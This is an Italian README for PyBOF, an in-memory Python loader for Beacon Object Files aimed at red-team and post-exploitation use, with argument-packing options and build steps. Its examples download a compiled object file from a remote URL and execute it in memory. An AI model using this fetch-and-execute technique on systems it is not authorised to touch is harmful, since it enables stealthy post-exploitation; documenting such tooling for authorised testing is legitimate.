
Loader Python in memoria per Beacon Object Files che esegue payload COFF, con supporto per argomenti packed/raw per workflow di red-team e post-exploitation.
PyBOFcaricamento ed esecuzione in memoria di BOF
PyBOF consente a Python3 di caricare Beacon Object Files tramite byte ed eseguire una funzione BOF target in un interprete Python
data = open(r'c:\path\to\example.o', 'rb').read()
bof.run(data)
data = open(r'c:\path\to\example.o', 'rb').read()
bof.run(data, args=["foo"], raw=True)
# Raw cannot be used with function kwarg
data = open(r'c:\path\to\example.o', 'rb').read()
bof.run(data, args=[r"c:\users"], format="Z")
import bof
from urllib.request import urlopen
data = urlopen("https://github.com/trustedsec/CS-Situational-Awareness-BOF/raw/master/SA/dir/dir.x64.o").read()
bof.run(data, args=[r"c:\users"], format="Z")
Ci sono diversi argomenti che possono essere usati con PyBOF, descritti più in dettaglio qui sotto
Primo argomento posizionale obbligatorio, deve essere un oggetto byte che contiene il contenuto grezzo di un BOF
Argomento keyword opzionale che è una lista di argomenti da passare alla funzione BOF target
Argomento keyword opzionale che è il nome formattato come stringa della funzione target da eseguire dal BOF fornito, il valore predefinito è go
L'argomento keyword opzionale è una stringa che informa il packer degli argomenti del BOF sui tipi di argomento mentre vengono impacchettati nel buffer. È simile all'argomento format di struct.pack. Le uniche opzioni di formato valide sono le seguenti:
i per intero
s per short
z per stringa
b per binario
Z per wide
Almeno un tipo di formato deve essere fornito per ogni argomento nella lista args. Questo argomento keyword non può essere usato insieme a raw
Argomento keyword opzionale che è un booleano che passa gli args come stringa unita da spazi senza impacchettarla, invece di tentare di impacchettare argomenti formattati per la funzione BOF. Questo argomento keyword non può essere usato insieme a format
Clona questo repository
git clone https://github.com/rkbennett/pybof.git
Compila l'estensione C _bof
cd pybof\src
python .\setup.py build
Copia il file pyd risultante nella directory bof
copy build\lib.win-xxx-cpython-3xx\_bof.cp3xx-win_xxxx.pyd ..\bof\
Spostati nella directory padre della directory bof, importa e divertiti
cd ..\
python
>>> import bof
>>> from urllib.request import urlopen
>>> data = urlopen("https://github.com/trustedsec/CS-Situational-Awareness-BOF/raw/master/SA/dir/dir.x64.o").read()
>>> bof.run(data, args=[r"c:\users"], format="Z")
Se una funzione BOF non restituisce un valore, genero un avviso per segnalare all'utente che non è stato restituito nulla. Presumo che questo non sia probabilmente l'esito previsto di un'esecuzione, ma non volevo lanciare errori bloccanti. Se esegui una funzione BOF e ricevi l'avviso di nessun output, tieni presente che la formattazione dei tuoi args potrebbe dover essere definita o potrebbe essere definita in modo errato, il che può causare questo problema (in particolare usando string invece di wide)